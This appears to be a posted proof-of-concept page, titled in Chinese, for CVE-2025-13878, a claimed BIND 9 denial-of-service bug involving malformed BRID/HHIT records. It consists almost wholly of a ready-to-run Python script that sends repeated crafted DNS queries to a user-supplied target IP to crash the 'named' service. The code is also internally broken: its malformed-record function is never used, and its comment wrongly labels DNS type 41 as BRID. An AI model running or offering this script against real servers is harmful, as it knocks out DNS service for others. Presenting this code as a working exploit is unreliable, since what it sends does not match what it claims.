CVE-2025-13878: BIND 9畸形BRID/HHIT记录导致服务拒绝漏洞

# CVE-2025-13878 PoC - Malformed BRID/HHIT record causing BIND 9 DoS # This PoC demonstrates sending a malformed DNS query with crafted BRID/HHIT records # Note: This is for educational and authorized testing purposes only import socket import struct import random def build_dns_query(qname, qtype): """Build a basic DNS query packet""" transaction_id = random.randint(0, 65535) flags = 0x0100 # Standard query questions = 1 # Header section header = struct.pack('>HHHHHH', transaction_id, # Transaction ID flags, # Flags 1, # Questions 0, # Answers 0, # Authority 0 # Additional ) # Question section qname_encoded = b'' for label in qname.split('.'): qname_encoded += bytes([len(label)]) + label.encode() qname_encoded += b'\x00' # End of domain name question = qname_encoded + struct.pack('>HH', qtype, 1) # Type, Class IN return header + question def create_malformed_brid_record(): """Create a malformed BRID record payload""" # BRID record type is 0x0029 (41) # Craft malformed BRID data to trigger the vulnerability brid_type = 41 brid_payload = b'\x00' * 4 + b'\xff\xff\xff\xff' # Malformed data return brid_type, brid_payload def send_malformed_dns_query(target_ip, target_port=53): """Send malformed DNS query to trigger CVE-2025-13878""" try: # Create socket sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) # Build query with malformed BRID record qname = "test.example.com" query = build_dns_query(qname, 41) # BRID record type # Send the malformed query print(f"[*] Sending malformed DNS query to {target_ip}:{target_port}") sock.sendto(query, (target_ip, target_port)) # Wait for response sock.settimeout(5) try: response, addr = sock.recvfrom(4096) print(f"[+] Received response from {addr}") except socket.timeout: print("[-] No response received (target may be vulnerable)") sock.close() return True except Exception as e: print(f"[-] Error: {e}") return False def exploit_brid_vulnerability(target_ip): """ Exploit function to trigger the BIND 9 BRID/HHIT vulnerability This sends multiple malformed requests to increase exploit reliability """ print("=" * 60) print("CVE-2025-13878 - BIND 9 Malformed BRID/HHIT DoS Exploit") print("=" * 60) # Send multiple malformed queries for i in range(5): print(f"[*] Attempt {i+1}/5") send_malformed_dns_query(target_ip) print("\n[!] If target is vulnerable, named process should have crashed") print("[!] Check DNS service status on target system") if __name__ == "__main__": import sys if len(sys.argv) > 1: target = sys.argv[1] exploit_brid_vulnerability(target) else: print(f"Usage: python {sys.argv[0]} <target_ip>") print("Example: python CVE-2025-13878.py 192.168.1.100")